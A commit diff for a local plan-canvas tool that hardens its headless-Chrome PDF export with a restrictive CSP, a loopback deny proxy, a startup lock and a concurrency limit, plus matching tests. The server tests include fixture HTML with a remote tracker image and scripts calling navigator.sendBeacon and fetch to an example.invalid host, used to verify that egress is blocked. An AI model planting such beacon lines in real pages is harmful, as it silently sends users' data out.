fix(plan-canvas): harden PDF export concurrency

This commit is contained in:
haelyra
2026-08-28 17:15:30 -04:00
parent 3fbc1ad164
commit 8dd610f574
10 changed files with 335 additions and 57 deletions
+9 -5
View File
@@ -82,7 +82,7 @@ after 30 min, `ECC_PLAN_CANVAS_IDLE_MS`). Feedback is deliver-and-drain: queued
handed to exactly one `await` call and persisted to disk until then, so nothing is lost if
the poll is interrupted.
- `GET /health``{ok, app, version, protocolVersion, runtimeId}`; the CLI reuses a detached server only when its package, protocol, and Canvas-module fingerprint match, preventing an older same-version worktree from serving stale browser code
- `GET /health``{ok, app, version, protocolVersion, runtimeId}`; the CLI reuses a detached server only when its package, protocol, and Canvas-module fingerprint match, preventing an older same-version worktree from serving stale browser code. A per-user, port-scoped startup lock serializes compatibility checks and replacement so concurrent opens reuse the winning server instead of racing two detached launches.
- `GET /` — session list (ECC chrome)
- `POST /api/sessions` `{file, reopen?}` — open/resume; `409 user-ended` unless `reopen`
- `GET /canvas/<key>` — editor chrome; `GET /artifact/<key>/` — rendered artifact
@@ -127,7 +127,11 @@ unavailable, and can be repointed at a local mirror via
PDF export also stays local. The server launches an installed Chrome, Chromium, or Edge
executable with a new temporary profile, restricts the print target to the loopback Canvas
origin, waits for a complete `%PDF` document, terminates that private renderer, and removes
its temporary profile. Set `ECC_PLAN_CANVAS_CHROME_PATH` when auto-discovery cannot find the
browser. The export endpoint returns an actionable error instead of uploading the plan or
silently falling back to a remote service.
origin, applies an export-only CSP that disables scripts and outbound resource classes, and
routes every non-origin browser request into a local deny proxy. It waits for a complete
`%PDF` document, terminates that private renderer, closes the deny proxy, and removes its
temporary profile. One renderer is admitted at a time; overlapping requests receive HTTP 429
with `Retry-After: 1` instead of launching unbounded browser processes. Set
`ECC_PLAN_CANVAS_CHROME_PATH` when auto-discovery cannot find the browser. The export endpoint
returns an actionable error instead of uploading the plan or silently falling back to a
remote service.
+13 -7
View File
@@ -14,17 +14,20 @@ artifact as a real PDF file without sending the plan to an external converter.
| Only a loopback artifact URL can reach the renderer | `assertLoopbackUrl` tests | PASS |
| Filenames are useful and safe across platforms | `pdfFileName` tests | PASS |
| Incomplete output is never served as a PDF | `%PDF` header and `%%EOF` completion tests | PASS |
| Validation uses the opened file handle | File-descriptor regression test and CodeQL rerun | PASS |
| Renderer state is private and temporary | Fake-process lifecycle test and live process/temp-state inspection | PASS |
| Artifact HTML cannot make outbound export requests | PDF-only CSP and loopback-origin deny-proxy regression tests | PASS |
| Browser renderer concurrency is bounded | Concurrent endpoint test expects HTTP 429 and `Retry-After` | PASS |
| Export adds no cloud converter or npm runtime dependency | Implementation and package diff inspection | PASS |
## Red and green
- RED: the focused server suite produced 30 passes and 2 failures because the
Canvas had no Download PDF control or PDF endpoint.
- GREEN: renderer unit tests pass 6/6, Plan Canvas server tests pass 32/32,
and the end-to-end review workflow passes 10/10.
- FULL SUITE: `npm test` passes all 4,003 discovered tests; full ESLint,
Markdown lint, package dry-run, and `git diff --check` also pass.
- GREEN: renderer unit tests pass 7/7, Plan Canvas server tests pass 34/34,
and the end-to-end review workflow passes 11/11.
- FULL SUITE: the final review-hardened implementation passes all 4,007
discovered tests; hosted security reruns are recorded on PR #2894.
- COVERAGE: `npm run coverage` passes 4,003/4,003 with 88.97% statements,
80.58% branches, 94.22% functions, and 88.97% lines. The Plan Canvas
module group reaches 96.72% statements and lines, 84.47% branches, and
@@ -42,9 +45,12 @@ artifact as a real PDF file without sending the plan to an external converter.
The loopback server discovers Google Chrome, Chromium, or Microsoft Edge, or
uses `ECC_PLAN_CANVAS_CHROME_PATH`. It launches the executable without a shell,
with a private temporary profile and a loopback-only artifact URL. Completion
requires both a `%PDF-` header and `%%EOF` marker. The renderer is terminated and
temporary state is removed before the response is handed to the browser.
with a private temporary profile, a loopback-only artifact URL, an export-only
CSP, and a local deny proxy that allows only the exact Canvas origin. Completion
requires both a `%PDF-` header and `%%EOF` marker read from the already-open file
handle. The renderer is terminated and temporary state is removed before the
response is handed to the browser. Concurrent export attempts fail quickly with
a retryable HTTP 429 response while one renderer is active.
If no renderer exists, the browser receives an actionable local error. Plan
Canvas does not upload the artifact or add a hosted conversion dependency.
+39 -1
View File
@@ -11,6 +11,7 @@
const { spawn } = require('child_process');
const fs = require('fs');
const net = require('net');
const os = require('os');
const path = require('path');
@@ -137,6 +138,33 @@ function delay(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function startDenyProxy(netImpl = net) {
return new Promise((resolve, reject) => {
const server = netImpl.createServer(socket => {
socket.on('error', () => {});
socket.destroy();
});
const onError = error => reject(errorWithCode(
`Could not isolate PDF renderer network access (${error.message})`,
'PDF_EXPORT_FAILED'
));
server.once('error', onError);
server.listen(0, '127.0.0.1', () => {
server.removeListener('error', onError);
server.on('error', () => {});
server.unref();
resolve({ server, url: `http://127.0.0.1:${server.address().port}` });
});
});
}
function stopDenyProxy(server) {
if (!server) return Promise.resolve();
return new Promise(resolve => {
try { server.close(resolve); } catch { resolve(); }
});
}
async function stopChild(child) {
if (!child || child.exitCode !== null || child.signalCode) return;
const closed = new Promise(resolve => child.once('close', resolve));
@@ -195,9 +223,11 @@ async function exportPdf({
timeoutMs = DEFAULT_EXPORT_TIMEOUT_MS,
spawnImpl = spawn,
fsImpl = fs,
osImpl = os
osImpl = os,
netImpl = net
} = {}) {
const safeUrl = assertLoopbackUrl(url);
const exportUrl = new URL(safeUrl);
const browser = executable || resolveChromiumExecutable({ env, platform, fsImpl });
if (!browser) {
const override = String(env.ECC_PLAN_CANVAS_CHROME_PATH || '').trim();
@@ -214,14 +244,18 @@ async function exportPdf({
const profileDir = path.join(tempDir, 'profile');
fsImpl.mkdirSync(profileDir, { recursive: true });
let child = null;
let denyProxy = null;
try {
denyProxy = await startDenyProxy(netImpl);
const args = [
'--headless=new',
'--disable-background-networking',
'--disable-gpu',
'--disable-component-update',
'--disable-default-apps',
'--disable-extensions',
'--disable-sync',
'--disable-quic',
'--metrics-recording-only',
'--mute-audio',
'--no-first-run',
@@ -229,6 +263,9 @@ async function exportPdf({
'--no-pdf-header-footer',
'--print-to-pdf-no-header',
'--hide-scrollbars',
`--proxy-server=${denyProxy.url}`,
`--proxy-bypass-list=<-loopback>;${exportUrl.origin}`,
`--host-resolver-rules=MAP * ~NOTFOUND, EXCLUDE ${exportUrl.hostname}`,
`--user-data-dir=${profileDir}`,
`--print-to-pdf=${outputFile}`,
'--virtual-time-budget=5000',
@@ -247,6 +284,7 @@ async function exportPdf({
return { buffer, filename: pdfFileName(artifactFile) };
} finally {
await stopChild(child);
await stopDenyProxy(denyProxy && denyProxy.server);
fsImpl.rmSync(tempDir, { recursive: true, force: true });
}
}
+15
View File
@@ -205,6 +205,19 @@ function artifactSdkJs() {
});
// --- chrome bridge ---------------------------------------------------------
function exportSnapshot() {
const clone = document.documentElement.cloneNode(true);
clone.querySelectorAll('script,iframe,object,embed,form,base,meta[http-equiv],[data-ecc-plan-canvas]').forEach(el => el.remove());
clone.querySelectorAll('*').forEach(el => {
for (const attr of [...el.attributes]) {
if (attr.name.toLowerCase().startsWith('on') || attr.name.toLowerCase() === 'srcdoc') {
el.removeAttribute(attr.name);
}
}
});
return '<!doctype html>\\n' + clone.outerHTML;
}
window.addEventListener('message', e => {
const msg = e.data || {};
if (msg.type === 'pc:set-mode') {
@@ -212,6 +225,8 @@ function artifactSdkJs() {
if (!annotate) { hl.style.display = 'none'; selhint.style.display = 'none'; closeCard(); }
} else if (msg.type === 'pc:restore-scroll') {
window.scrollTo(msg.x || 0, msg.y || 0);
} else if (msg.type === 'pc:export-snapshot' && typeof msg.requestId === 'string') {
post({ type: 'pc:export-snapshot-result', requestId: msg.requestId, html: exportSnapshot() });
}
});
document.addEventListener('keydown', e => {
+49 -9
View File
@@ -31,6 +31,7 @@ const DEFAULT_PORT = 4517;
const DEFAULT_HOST = '127.0.0.1';
const DEFAULT_IDLE_TIMEOUT_MS = 30 * 60 * 1000;
const MAX_BODY_BYTES = 1024 * 1024;
const MAX_PDF_SNAPSHOT_BYTES = 5 * 1024 * 1024;
// How long the "agent is thinking" indicator survives without the agent
// checking back in, before presence decays to the honest queued/waiting.
const DEFAULT_THINKING_STALE_MS = 90 * 1000;
@@ -38,6 +39,19 @@ const DEFAULT_THINKING_STALE_MS = 90 * 1000;
const DEFAULT_TYPING_EXPIRY_MS = 30 * 1000;
const PLAN_CANVAS_PROTOCOL_VERSION = 4;
const TYPING_STATES = new Set(['thinking', 'typing', 'idle']);
const PDF_EXPORT_CSP = [
"default-src 'none'",
"base-uri 'none'",
"connect-src 'none'",
"font-src 'self' data:",
"form-action 'none'",
"frame-src 'none'",
"img-src 'self' data:",
"media-src 'self' data:",
"object-src 'none'",
"script-src 'none'",
"style-src 'self' 'unsafe-inline'"
].join('; ');
// Package versions do not distinguish two worktrees on the same release.
// Fingerprint every module loaded into the detached server so a current CLI
@@ -96,13 +110,13 @@ function resolveIdleTimeoutMs(env = process.env) {
return Number.isInteger(value) && value > 0 ? value : DEFAULT_IDLE_TIMEOUT_MS;
}
function readJsonBody(req) {
function readJsonBody(req, maxBytes = MAX_BODY_BYTES) {
return new Promise((resolve, reject) => {
let size = 0;
const chunks = [];
req.on('data', chunk => {
size += chunk.length;
if (size > MAX_BODY_BYTES) {
if (size > maxBytes) {
reject(new Error('body too large'));
req.destroy();
return;
@@ -130,8 +144,9 @@ function sendJson(res, statusCode, payload) {
function sendHtml(res, statusCode, html, { csp = true } = {}) {
const headers = { 'content-type': 'text/html; charset=utf-8', 'cache-control': 'no-store' };
if (csp) {
headers['content-security-policy'] =
"default-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-src 'self'";
headers['content-security-policy'] = typeof csp === 'string'
? csp
: "default-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-src 'self'";
}
res.writeHead(statusCode, headers);
res.end(html);
@@ -175,6 +190,8 @@ function createPlanCanvasServer({
const typingKeys = new Map(); // key -> ms timestamp the agent signalled composing
let idleTimer = null;
let closed = false;
let pdfExportActive = false;
let pdfSnapshot = null;
// --- presence ---------------------------------------------------------
@@ -391,10 +408,25 @@ function createPlanCanvasServer({
}
const pdfMatch = pathname.match(/^\/api\/session\/([a-f0-9]{12})\/pdf$/);
if (pdfMatch && req.method === 'GET') {
if (pdfMatch && (req.method === 'GET' || req.method === 'POST')) {
const session = store.get(pdfMatch[1]);
if (!session) return sendJson(res, 404, { error: 'unknown session' });
if (pdfExportActive) {
res.setHeader('retry-after', '1');
return sendJson(res, 429, {
error: 'another PDF export is already in progress',
code: 'PDF_EXPORT_BUSY'
});
}
pdfExportActive = true;
try {
if (req.method === 'POST') {
const body = await readJsonBody(req, MAX_PDF_SNAPSHOT_BYTES);
if (typeof body.html !== 'string' || !body.html.trim()) {
return sendJson(res, 400, { error: 'html snapshot is required' });
}
pdfSnapshot = { key: session.key, html: body.html };
}
const pdf = await pdfExporter({
url: `http://${req.headers.host}/artifact/${session.key}/?pdf=1`,
artifactFile: session.file
@@ -403,6 +435,9 @@ function createPlanCanvasServer({
} catch (error) {
const statusCode = error.code === 'PDF_BROWSER_NOT_FOUND' ? 503 : 500;
return sendJson(res, statusCode, { error: error.message, code: error.code || 'PDF_EXPORT_FAILED' });
} finally {
pdfSnapshot = null;
pdfExportActive = false;
}
}
@@ -474,11 +509,14 @@ function createPlanCanvasServer({
res.end();
}
function serveArtifact(res, key, assetPath) {
function serveArtifact(res, key, assetPath, { pdfExport = false } = {}) {
const session = store.get(key);
if (!session) return sendHtml(res, 404, '<h1>Unknown session</h1>');
if (!assetPath) {
if (pdfExport && pdfSnapshot && pdfSnapshot.key === key) {
return sendHtml(res, 200, pdfSnapshot.html, { csp: PDF_EXPORT_CSP });
}
let content;
try {
content = fs.readFileSync(session.file, 'utf8');
@@ -491,13 +529,13 @@ function createPlanCanvasServer({
title: path.basename(session.file),
sdkSrc: '/sdk.js'
});
return sendHtml(res, 200, html, { csp: false });
return sendHtml(res, 200, html, { csp: pdfExport ? PDF_EXPORT_CSP : false });
}
const sdkTag = '<script src="/sdk.js"></script>';
const injected = content.includes('</body>')
? content.replace('</body>', `${sdkTag}\n</body>`)
: `${content}\n${sdkTag}`;
return sendHtml(res, 200, injected, { csp: false });
return sendHtml(res, 200, injected, { csp: pdfExport ? PDF_EXPORT_CSP : false });
}
// Sibling assets resolve relative to the artifact's directory and must
@@ -574,7 +612,9 @@ function createPlanCanvasServer({
const artifactMatch = pathname.match(/^\/artifact\/([a-f0-9]{12})\/(.*)$/);
if (req.method === 'GET' && artifactMatch) {
const assetPath = decodeURIComponent(artifactMatch[2]);
return serveArtifact(res, artifactMatch[1], assetPath || null);
return serveArtifact(res, artifactMatch[1], assetPath || null, {
pdfExport: url.searchParams.get('pdf') === '1'
});
}
if (pathname.startsWith('/api/')) {
return handleApi(req, res, url);
+29 -1
View File
@@ -271,6 +271,7 @@ function canvasClientJs() {
function postToFrame(msg) {
if (frame.contentWindow) frame.contentWindow.postMessage(msg, '*');
}
const snapshotWaiters = new Map();
window.addEventListener('message', e => {
if (e.source !== frame.contentWindow) return;
const msg = e.data || {};
@@ -278,11 +279,32 @@ function canvasClientJs() {
else if (msg.type === 'pc:queue-and-send' && msg.item) { addToQueue(msg.item); send(); }
else if (msg.type === 'pc:scroll') lastScroll = { x: msg.x || 0, y: msg.y || 0 };
else if (msg.type === 'pc:toggle-mode') setAnnotate(!annotate);
else if (msg.type === 'pc:export-snapshot-result' && typeof msg.requestId === 'string') {
const waiter = snapshotWaiters.get(msg.requestId);
if (waiter) {
snapshotWaiters.delete(msg.requestId);
waiter(msg.html);
}
}
else if (msg.type === 'pc:ready') {
postToFrame({ type: 'pc:set-mode', annotate });
postToFrame({ type: 'pc:restore-scroll', x: lastScroll.x, y: lastScroll.y });
}
});
function requestArtifactSnapshot() {
return new Promise(resolve => {
const requestId = Date.now().toString(36) + Math.random().toString(36).slice(2);
const timer = setTimeout(() => {
snapshotWaiters.delete(requestId);
resolve(null);
}, 1500);
snapshotWaiters.set(requestId, html => {
clearTimeout(timer);
resolve(typeof html === 'string' ? html : null);
});
postToFrame({ type: 'pc:export-snapshot', requestId });
});
}
// --- queue ----------------------------------------------------------
function persistQueue() { try { sessionStorage.setItem(QKEY, JSON.stringify(queue)); } catch { /* full */ } }
@@ -442,7 +464,13 @@ function canvasClientJs() {
downloadPdfBtn.textContent = 'Preparing PDF\u2026';
reportExportStatus('Rendering locally\u2026');
try {
const res = await fetch('/api/session/' + key + '/pdf', { cache: 'no-store' });
const snapshot = await requestArtifactSnapshot();
const res = await fetch('/api/session/' + key + '/pdf', {
method: snapshot ? 'POST' : 'GET',
headers: snapshot ? { 'content-type': 'application/json' } : undefined,
body: snapshot ? JSON.stringify({ html: snapshot }) : undefined,
cache: 'no-store'
});
if (!res.ok) {
const detail = await res.json().catch(() => ({}));
throw new Error(detail.error || ('HTTP ' + res.status));
+90 -18
View File
@@ -19,6 +19,7 @@
const fs = require('fs');
const http = require('http');
const os = require('os');
const path = require('path');
const { spawn } = require('child_process');
@@ -171,6 +172,73 @@ function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function serverStartLockPath(port, lockDir = os.tmpdir()) {
const userId = typeof process.getuid === 'function' ? process.getuid() : 'user';
return path.join(lockDir, `ecc-plan-canvas-${userId}-${validatePort(port)}.lock`);
}
function processIsAlive(pid) {
if (!Number.isInteger(pid) || pid <= 0) return false;
try {
process.kill(pid, 0);
return true;
} catch (error) {
return error.code === 'EPERM';
}
}
function removeStaleServerStartLock(lockPath, staleAfterMs = 60 * 1000) {
try {
const stat = fs.statSync(lockPath);
let owner = null;
try { owner = JSON.parse(fs.readFileSync(lockPath, 'utf8')); } catch { /* incomplete lock owner */ }
const oldEnough = Date.now() - stat.mtimeMs > staleAfterMs;
if (!oldEnough && (!owner || processIsAlive(owner.pid))) return false;
fs.rmSync(lockPath, { force: true });
return true;
} catch {
return false;
}
}
async function withServerStartLock(port, task, {
lockDir = os.tmpdir(),
timeoutMs = 15 * 1000
} = {}) {
fs.mkdirSync(lockDir, { recursive: true });
const lockPath = serverStartLockPath(port, lockDir);
const token = `${process.pid}-${Date.now()}-${Math.random().toString(16).slice(2)}`;
const startedAt = Date.now();
while (true) {
try {
fs.writeFileSync(lockPath, JSON.stringify({ pid: process.pid, token, createdAt: new Date().toISOString() }), {
flag: 'wx',
mode: 0o600
});
break;
} catch (error) {
if (error.code !== 'EEXIST') throw error;
if (removeStaleServerStartLock(lockPath)) continue;
if (Date.now() - startedAt >= timeoutMs) {
throw new Error(`timed out waiting for Plan Canvas startup lock on port ${port}`);
}
await sleep(50);
}
}
try {
return await task();
} finally {
try {
const owner = JSON.parse(fs.readFileSync(lockPath, 'utf8'));
if (owner.token === token) fs.rmSync(lockPath, { force: true });
} catch {
// A stale-lock recovery may already have removed it.
}
}
}
function serverIsCompatible(health) {
return Boolean(
health &&
@@ -186,24 +254,28 @@ function serverIsCompatible(health) {
async function ensureServer({ stateDir, port }) {
const health = await healthCheck(port);
if (serverIsCompatible(health)) return port;
if (health) {
await request(port, 'POST', '/shutdown').catch(() => {});
for (let i = 0; i < 20 && (await healthCheck(port)); i++) await sleep(100);
}
fs.mkdirSync(stateDir, { recursive: true });
const logFd = fs.openSync(path.join(stateDir, 'server.log'), 'a');
const child = spawn(process.execPath, [__filename, 'server', '--port', String(port)], {
detached: true,
stdio: ['ignore', logFd, logFd],
env: { ...process.env, ECC_PLAN_CANVAS_STATE_DIR: stateDir }
return withServerStartLock(port, async () => {
const lockedHealth = await healthCheck(port);
if (serverIsCompatible(lockedHealth)) return port;
if (lockedHealth) {
await request(port, 'POST', '/shutdown').catch(() => {});
for (let i = 0; i < 20 && (await healthCheck(port)); i++) await sleep(100);
}
fs.mkdirSync(stateDir, { recursive: true });
const logFd = fs.openSync(path.join(stateDir, 'server.log'), 'a');
const child = spawn(process.execPath, [__filename, 'server', '--port', String(port)], {
detached: true,
stdio: ['ignore', logFd, logFd],
env: { ...process.env, ECC_PLAN_CANVAS_STATE_DIR: stateDir }
});
child.unref();
fs.closeSync(logFd);
for (let i = 0; i < 50; i++) {
await sleep(100);
if (serverIsCompatible(await healthCheck(port))) return port;
}
throw new Error(`plan-canvas server did not become compatible on port ${port}; check ${path.join(stateDir, 'server.log')}`);
});
child.unref();
fs.closeSync(logFd);
for (let i = 0; i < 50; i++) {
await sleep(100);
if (serverIsCompatible(await healthCheck(port))) return port;
}
throw new Error(`plan-canvas server did not become compatible on port ${port}; check ${path.join(stateDir, 'server.log')}`);
}
function openBrowser(url) {
@@ -434,4 +506,4 @@ if (require.main === module) {
});
}
module.exports = { main, ensureServer, healthCheck };
module.exports = { main, ensureServer, healthCheck, withServerStartLock };
+25 -4
View File
@@ -25,6 +25,7 @@ const { spawn, spawnSync } = require('child_process');
const CLI = path.join(__dirname, '..', '..', 'scripts', 'plan-canvas.js');
const HOOK = path.join(__dirname, '..', '..', 'scripts', 'hooks', 'plan-canvas-sessions.js');
const { withServerStartLock } = require('../../scripts/plan-canvas');
const results = [];
async function test(name, fn) {
@@ -142,7 +143,22 @@ async function main() {
let key = null;
try {
await test('same-version legacy server is replaced before a canvas opens', async () => {
await test('port-scoped startup lock serializes server replacement callers', async () => {
let active = 0;
let maximumActive = 0;
const runLocked = label => withServerStartLock(port + 2, async () => {
active += 1;
maximumActive = Math.max(maximumActive, active);
await new Promise(resolve => setTimeout(resolve, 40));
active -= 1;
return label;
}, { lockDir: tmp, timeoutMs: 2000 });
assert.deepStrictEqual(await Promise.all([runLocked('first'), runLocked('second')]), ['first', 'second']);
assert.strictEqual(maximumActive, 1);
assert.ok(!fs.readdirSync(tmp).some(name => name.endsWith('.lock')));
});
await test('concurrent opens serialize replacement of a same-version legacy server', async () => {
const legacyPort = port + 1;
const legacyStateDir = path.join(tmp, 'legacy-state');
const legacyEnv = {
@@ -171,9 +187,14 @@ async function main() {
});
try {
const result = await cliAsync(legacyEnv, ['open', plan, '--no-open']);
assert.strictEqual(result.status, 0, result.stderr);
assert.strictEqual(result.parsed.status, 'open');
const results = await Promise.all([
cliAsync(legacyEnv, ['open', plan, '--no-open']),
cliAsync(legacyEnv, ['open', plan, '--no-open'])
]);
for (const result of results) {
assert.strictEqual(result.status, 0, result.stderr);
assert.strictEqual(result.parsed.status, 'open');
}
assert.strictEqual(shutdownRequested, true, 'current CLI should retire the stale server');
const health = JSON.parse((await request(legacyPort, 'GET', '/health')).body);
assert.strictEqual(health.protocolVersion, 4);
+18 -11
View File
@@ -15,17 +15,15 @@ const {
resolveChromiumExecutable
} = require('../../scripts/lib/plan-canvas/pdf');
const results = [];
async function test(name, fn) {
try {
await fn();
console.log(`${name}`);
results.push(true);
return true;
} catch (error) {
console.log(`${name}`);
console.log(` ${error.stack || error.message}`);
results.push(false);
return false;
}
}
@@ -48,15 +46,19 @@ function fakeChild(onSpawn) {
async function main() {
console.log('\n=== Testing Plan Canvas PDF export ===\n');
let results = [];
const record = async (name, fn) => {
results = [...results, await test(name, fn)];
};
await test('builds safe, useful PDF filenames', () => {
await record('builds safe, useful PDF filenames', () => {
assert.strictEqual(pdfFileName('/tmp/feature-fleet-2.2.plan.md'), 'feature-fleet-2.2.pdf');
assert.strictEqual(pdfFileName('/tmp/release-preview.html'), 'release-preview.pdf');
assert.strictEqual(pdfFileName('/tmp/bad:name?.md'), 'bad-name-.pdf');
assert.strictEqual(pdfFileName(''), 'plan.pdf');
});
await test('restricts the renderer to loopback artifact URLs', () => {
await record('restricts the renderer to loopback artifact URLs', () => {
assert.strictEqual(
assertLoopbackUrl('http://127.0.0.1:4518/artifact/abc/?pdf=1'),
'http://127.0.0.1:4518/artifact/abc/?pdf=1'
@@ -65,7 +67,7 @@ async function main() {
assert.throws(() => assertLoopbackUrl('http://example.com/artifact/abc'), { code: 'PDF_EXPORT_INVALID_URL' });
});
await test('honors an explicit Chromium executable override', () => {
await record('honors an explicit Chromium executable override', () => {
const fsImpl = {
accessSync(file) { assert.strictEqual(file, '/opt/test/chrome'); },
statSync() { return { isFile: () => true }; }
@@ -80,7 +82,7 @@ async function main() {
);
});
await test('fails actionably when no local PDF renderer is installed', async () => {
await record('fails actionably when no local PDF renderer is installed', async () => {
await assert.rejects(
exportPdf({
url: 'http://127.0.0.1:4517/artifact/abc123/?pdf=1',
@@ -92,7 +94,7 @@ async function main() {
);
});
await test('recognizes only complete PDF output', () => {
await record('recognizes only complete PDF output', () => {
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'plan-canvas-pdf-complete-'));
const file = path.join(tmp, 'artifact.pdf');
fs.writeFileSync(file, '%PDF-1.4\npartial');
@@ -102,7 +104,7 @@ async function main() {
fs.rmSync(tmp, { recursive: true, force: true });
});
await test('validates PDF metadata from the opened file handle', () => {
await record('validates PDF metadata from the opened file handle', () => {
const content = Buffer.from('%PDF-1.4\nlocal plan\n%%EOF\n');
const fsImpl = {
openSync(file, flags) {
@@ -124,7 +126,7 @@ async function main() {
assert.strictEqual(isCompletePdf('/private/export.pdf', fsImpl), true);
});
await test('renders, terminates its private browser, and removes temporary state', async () => {
await record('renders, isolates network access, terminates its browser, and removes temporary state', async () => {
const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'plan-canvas-pdf-test-'));
let spawned = null;
let child = null;
@@ -151,6 +153,11 @@ async function main() {
assert.strictEqual(spawned.command, '/opt/test/chrome');
assert.strictEqual(spawned.options.shell, false);
assert.ok(spawned.args.includes('--headless=new'));
assert.ok(spawned.args.includes('--disable-background-networking'));
assert.ok(spawned.args.includes('--disable-quic'));
assert.ok(spawned.args.some(arg => /^--proxy-server=http:\/\/127\.0\.0\.1:\d+$/.test(arg)));
assert.ok(spawned.args.includes('--proxy-bypass-list=<-loopback>;http://localhost:4517'));
assert.ok(spawned.args.includes('--host-resolver-rules=MAP * ~NOTFOUND, EXCLUDE localhost'));
assert.ok(spawned.args.includes('http://localhost:4517/artifact/abc123/?pdf=1'));
assert.strictEqual(child.signalCode, 'SIGTERM');
assert.deepStrictEqual(fs.readdirSync(tempRoot), []);
+48 -1
View File
@@ -92,13 +92,18 @@ async function main() {
const artifact = path.join(tmp, 'demo.plan.md');
fs.writeFileSync(artifact, '# Plan: Demo\n\n## Files to Change\n\n| File | Action |\n|---|---|\n| `a.js` | UPDATE |\n');
const htmlArtifact = path.join(tmp, 'report.html');
fs.writeFileSync(htmlArtifact, '<!DOCTYPE html><html><body><h1>Report</h1></body></html>');
fs.writeFileSync(
htmlArtifact,
'<!DOCTYPE html><html><body><h1>Report</h1><img src="https://example.invalid/tracker.png"><script>navigator.sendBeacon("https://example.invalid/beacon", "plan")</script></body></html>'
);
fs.writeFileSync(path.join(tmp, 'style.css'), 'body { color: red }');
const outsideDir = fs.mkdtempSync(path.join(os.tmpdir(), 'plan-canvas-outside-'));
fs.writeFileSync(path.join(outsideDir, 'secret.txt'), 'secret');
const store = createSessionStore({ stateDir: path.join(tmp, 'state') });
const pdfRequests = [];
let holdPdfExport = false;
let releasePdfExport = null;
let idleFired = false;
const canvas = createPlanCanvasServer({
store,
@@ -107,6 +112,7 @@ async function main() {
idleTimeoutMs: 0,
pdfExporter: async options => {
pdfRequests.push(options);
if (holdPdfExport) await new Promise(resolve => { releasePdfExport = resolve; });
return { buffer: Buffer.from('%PDF-1.4\n%%EOF\n'), filename: 'demo.pdf' };
},
onIdleShutdown: () => {
@@ -200,6 +206,19 @@ async function main() {
assert.ok(res.body.includes('<script src="/sdk.js"></script>\n</body>'));
})) passed++; else failed++;
if (await test('PDF artifact responses block remote images and inline beacon egress', async () => {
const res = await request(port, 'GET', `/artifact/${htmlKey}/?pdf=1`);
const csp = res.headers['content-security-policy'];
assert.strictEqual(res.statusCode, 200);
assert.ok(csp.includes("default-src 'none'"));
assert.ok(csp.includes("img-src 'self' data:"));
assert.ok(csp.includes("connect-src 'none'"));
assert.ok(csp.includes("form-action 'none'"));
assert.ok(csp.includes("script-src 'none'"));
assert.ok(res.body.includes('https://example.invalid/tracker.png'));
assert.ok(res.body.includes('navigator.sendBeacon'));
})) passed++; else failed++;
if (await test('sibling assets are served, traversal is blocked', async () => {
const ok = await request(port, 'GET', `/artifact/${key}/style.css`);
assert.strictEqual(ok.statusCode, 200);
@@ -213,11 +232,17 @@ async function main() {
const res = await request(port, 'GET', asset);
assert.strictEqual(res.statusCode, 200, `${asset} should be 200`);
}
const sdk = await request(port, 'GET', '/sdk.js');
assert.doesNotThrow(() => new Function(sdk.body));
assert.ok(sdk.body.includes("msg.type === 'pc:export-snapshot'"));
assert.ok(sdk.body.includes("querySelectorAll('script,iframe,object,embed,form,base,meta[http-equiv]"));
})) passed++; else failed++;
if (await test('Download PDF fetches a generated PDF and starts a browser download', async () => {
const client = await request(port, 'GET', '/client.js');
assert.ok(client.body.includes("'/api/session/' + key + '/pdf'"));
assert.ok(client.body.includes("method: snapshot ? 'POST' : 'GET'"));
assert.ok(client.body.includes("type: 'pc:export-snapshot'"));
assert.ok(client.body.includes('URL.createObjectURL'));
const res = await request(port, 'GET', `/api/session/${key}/pdf`);
@@ -231,6 +256,28 @@ async function main() {
assert.strictEqual(pdfRequests[0].url, `http://127.0.0.1:${port}/artifact/${key}/?pdf=1`);
})) passed++; else failed++;
if (await test('concurrent PDF exports return a bounded retryable overload response', async () => {
holdPdfExport = true;
const snapshot = '<!doctype html><html><body><h1>Already rendered diagram</h1><svg><text>Local SVG</text></svg><script>fetch("https://example.invalid")</script></body></html>';
const first = request(port, 'POST', `/api/session/${key}/pdf`, { body: { html: snapshot } });
await waitFor(() => typeof releasePdfExport === 'function');
const printable = await request(port, 'GET', `/artifact/${key}/?pdf=1`);
assert.ok(printable.body.includes('Already rendered diagram'));
assert.ok(printable.body.includes('Local SVG'));
assert.ok(printable.headers['content-security-policy'].includes("script-src 'none'"));
const overloaded = await request(port, 'GET', `/api/session/${key}/pdf`);
assert.strictEqual(overloaded.statusCode, 429);
assert.strictEqual(overloaded.headers['retry-after'], '1');
assert.deepStrictEqual(jsonBody(overloaded), {
error: 'another PDF export is already in progress',
code: 'PDF_EXPORT_BUSY'
});
releasePdfExport();
assert.strictEqual((await first).statusCode, 200);
holdPdfExport = false;
releasePdfExport = null;
})) passed++; else failed++;
if (await test('browser client uses finite polling instead of one permanent connection per canvas', async () => {
const res = await request(port, 'GET', '/client.js');
assert.ok(res.body.includes("'/api/session/' + key + '/state'"));